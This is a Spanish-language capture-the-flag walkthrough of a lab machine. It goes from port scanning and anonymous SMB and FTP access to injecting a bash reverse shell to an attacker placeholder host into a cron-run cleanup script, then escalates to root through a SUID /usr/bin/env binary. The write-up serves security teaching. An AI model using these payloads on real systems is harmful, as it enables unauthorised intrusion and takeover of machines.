// 01
RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.
escaneo completo
nmap -p- -T5 <IP> -oG allPorts
escaneo de servicios y versiones
nmap -p21,22,139,445 -T5 -sSCV -n -Pn <IP> -oN scan.txt
| PUERTO | ESTADO | SERVICIO | VERSIÓN |
|---|---|---|---|
| 21/tcp | OPEN | ftp | vsftpd 2.0.8 |
| 22/tcp | OPEN | ssh | OpenSSH 7.6p1 Ubuntu |
| 139/tcp | OPEN | netbios-ssn | Samba 3.X – 4.X |
| 445/tcp | OPEN | microsoft-ds | Samba 4.7.6-Ubuntu |
Superficie de ataque
Cuatro servicios expuestos: FTP con anonymous login habilitado, SSH estándar en puerto 22 y un servidor Samba con shares accesibles. El SMB expone imágenes que invitan a pensar en esteganografía — rabbit hole.
// 02
SMB — Rabbit hole de imágenes
Se enumera el servidor Samba para listar los shares disponibles y acceder al contenido sin credenciales.
listado de shares
smbclient -L //<IP>/ -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service
acceso al share pics y descarga
smbclient //<IP>/pics -N
smb: \> ls
corgo2.jpg
puppos.jpg
smb: \> mget *
Esteganografía descartada
Las imágenes corgo2.jpg y puppos.jpg no contienen datos ocultos. steghide, exiftool y strings no revelan nada relevante. El vector real está en el FTP.
// 03
FTP ANÓNIMO — Script de limpieza
El escaneo detecta que el FTP permite anonymous login. El directorio /scripts contiene tres ficheros relevantes.
acceso anónimo y listado
ftp <IP>
Name: anonymous
Password: [intro]
ftp> cd scripts
ftp> ls -la
-rwxr-xr-x 1 1000 1000 314 May 12 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1404 Mar 27 19:45 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
contenido de to_do.txt
I really need to disable the anonymous FTP login...
It's a security risk and 2020 is super busy. I'll get to it...
- ftp_admin
contenido de clean.sh
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
Cron job identificado
El fichero removed_files.log se actualiza periódicamente sin intervención manual. Esto confirma que existe una tarea programada ejecutando clean.sh como usuario del sistema. El directorio /scripts es escribible por anonymous.
// 04
EXPLOTACIÓN — Reverse shell via cron
Se descarga clean.sh, se inyecta un payload de reverse shell al inicio del script y se vuelve a subir con put sin borrar el original para preservar permisos.
descarga del script original
ftp> get clean.sh
clean.sh modificado — payload añadido en línea 3
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1"
tmp_files=0
echo $tmp_files
...
subida sin borrar — preserva permisos del servidor
ftp> put clean.sh
local: clean.sh remote: clean.sh
226 Transfer complete.
put vs dele + put
Hacer put directamente sobre un fichero existente sobreescribe el contenido pero mantiene los permisos originales del servidor. Hacer dele primero y luego put crea un fichero nuevo con permisos por defecto (rw-r--r--), sin bit de ejecución.
listener en kali
nc -lvnp 4444
connect to [<IP_ATACANTE>] from (UNKNOWN) [<IP>] 52346
namelessone@anonymous:~$
USER FLAG
cat ~/user.txt
// 05
PRIVILEGE ESCALATION — SUID /usr/bin/env
Se buscan binarios con el bit SUID activo. El output del find es extenso y /usr/bin/env pasa fácilmente desapercibido entre los binarios legítimos del sistema.
búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
...
918399 28 -rwsr-xr-x 1 root root 26696 Jan 8 2020 /usr/bin/env
...
SUID en /usr/bin/env — GTFOBins
/usr/bin/env con el bit SUID permite lanzar cualquier comando heredando el UID de root. Al ejecutar /usr/bin/env /bin/sh -p, la shell resultante mantiene el UID efectivo 0 gracias al flag -p, que impide que sh descarte los privilegios elevados.
explotación via GTFOBins
/usr/bin/env /bin/sh -p
# whoami
root
¿Por qué funciona?
env es un binario que ejecuta comandos en un entorno modificado. Cuando tiene el bit SUID activo, corre con UID 0 (root). Al lanzar /bin/sh -p desde él, la shell hereda ese UID efectivo. El flag -p evita que sh descarte los privilegios al detectar que el UID real y el efectivo difieren.
ROOT FLAG
cat /root/root.txt
// RESUMEN
CADENA DE ATAQUE
SMB — Rabbit hole de imágenes
Share
pics accesible sin credenciales → corgo2.jpg y puppos.jpg sin datos ocultos — esteganografía descartadaFTP Anónimo — Script de limpieza
Login anónimo en vsftpd → directorio
/scripts escribible → removed_files.log actualizado automáticamente confirma cron job activoCron job — Reverse shell como namelessone
Payload inyectado en
clean.sh y subido con put → cron ejecuta bash clean.sh → shell como namelessone → user.txtSUID /usr/bin/env → Root
/usr/bin/env con SUID activo → /usr/bin/env /bin/sh -p → UID efectivo 0 → root.txt